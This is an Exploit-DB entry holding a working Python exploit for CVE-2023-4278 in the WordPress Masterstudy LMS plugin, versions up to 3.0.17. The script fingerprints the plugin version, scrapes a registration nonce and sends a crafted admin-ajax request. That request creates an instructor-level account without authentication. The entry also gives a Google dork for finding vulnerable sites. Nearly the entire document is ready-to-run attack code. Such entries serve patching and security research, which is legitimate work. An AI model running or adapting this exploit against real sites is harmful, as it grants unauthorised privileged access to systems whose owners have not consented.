Exploit-DB #51735
Description: Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation
Type: webapps
Platform: php
Date: 2023-10-09
Author: Revan Arifio

Exploit:
# Exploit Title:  Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation
# Google Dork: inurl:/user-public-account
# Date: 2023-09-04
# Exploit Author: Revan Arifio
# Vendor Homepage: https:/.org/plugins/masterstudy-lms-learning-management-system/
# Version: <= 3.0.17
# Tested on: Windows, Linux
# CVE : CVE-2023-4278

import requests
import os
import re
import time

banner = """
   _______      ________    ___   ___ ___  ____        _  _ ___ ______ ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \|___ \      | || |__ \____  / _ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) | __) |_____| || |_ ) |  / / (_) |
 | |      \ \/ / |  __|______/ /| | | |/ / |__ <______|__   _/ /  / / > _ < 
 | |____   \  /  | |____    / /_| |_| / /_ ___) |        | |/ /_ / / | (_) |
  \_____|   \/   |______|  |____|\___/____|____/         |_|____/_/   \___/ 
                                                                            
======================================================================================================
|| Title            : Masterstudy LMS <= 3.0.17 - Unauthenticated Instructor Account Creation       ||
|| Author           : https://github.com/revan-ar                                                   ||
|| Vendor Homepage  : https:/wordpress.org/plugins/masterstudy-lms-learning-management-system/      ||
|| Support          : https://www.buymeacoffee.com/revan.ar                                         ||
======================================================================================================

"""


print(banner)

# get nonce
def get_nonce(target):
    open_target = requests.get("{}/user-public-account".format(target))
    search_nonce = re.search('"stm_lms_register":"(.*?)"', open_target.text)
    if search_nonce[1] != None:
        return search_nonce[1]
    else:
        print("Failed when getting Nonce :p")



# privielege escalation
def privesc(target, nonce, username, password, email):

    req_data = {
        "user_login":"{}".format(username),
        "user_email":"{}".format(email),
        "user_password":"{}".format(password),
        "user_password_re":"{}".format(password),
        "become_instructor":True,
        "privacy_policy":True,
        "degree":"",
        "expertize":"",
        "auditory":"",
        "additional":[],
        "additional_instructors":[],
        "profile_default_fields_for_register":[],
        "redirect_page":"{}/user-account/".format(target)
        }

    start = requests.post("{}/wp-admin/admin-ajax.php?action=stm_lms_register&nonce={}".format(target, nonce), json = req_data)

    if start.status_code == 200:
        print("[+] Exploit Success !!")
    else:
        print("[+] Exploit Failed :p")



# URL target
target = input("[+] URL Target: ")
print("[+] Starting Exploit")
plugin_check = requests.get("{}/wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt".format(target))
plugin_version = re.search("Stable tag: (.+)", plugin_check.text)
int_version = plugin_version[1].replace(".", "")
time.sleep(1)

if int(int_version) < 3018:
    print("[+] Target is Vulnerable !!")
    # Credential
    email =  input("[+] Email: ")
    username =  input("[+] Username: ")
    password =  input("[+] Password: ")
    time.sleep(1)
    print("[+] Getting Nonce...")
    get_nonce = get_nonce(target)
    # Get Nonce
    if get_nonce != None:
        print("[+] Success Getting Nonce: {}".format(get_nonce))
        time.sleep(1)
        # Start PrivEsc
        privesc(target, get_nonce, username, password, email)
    # ----------------------------------
    
else:
    print("[+] Target is NOT Vulnerable :p")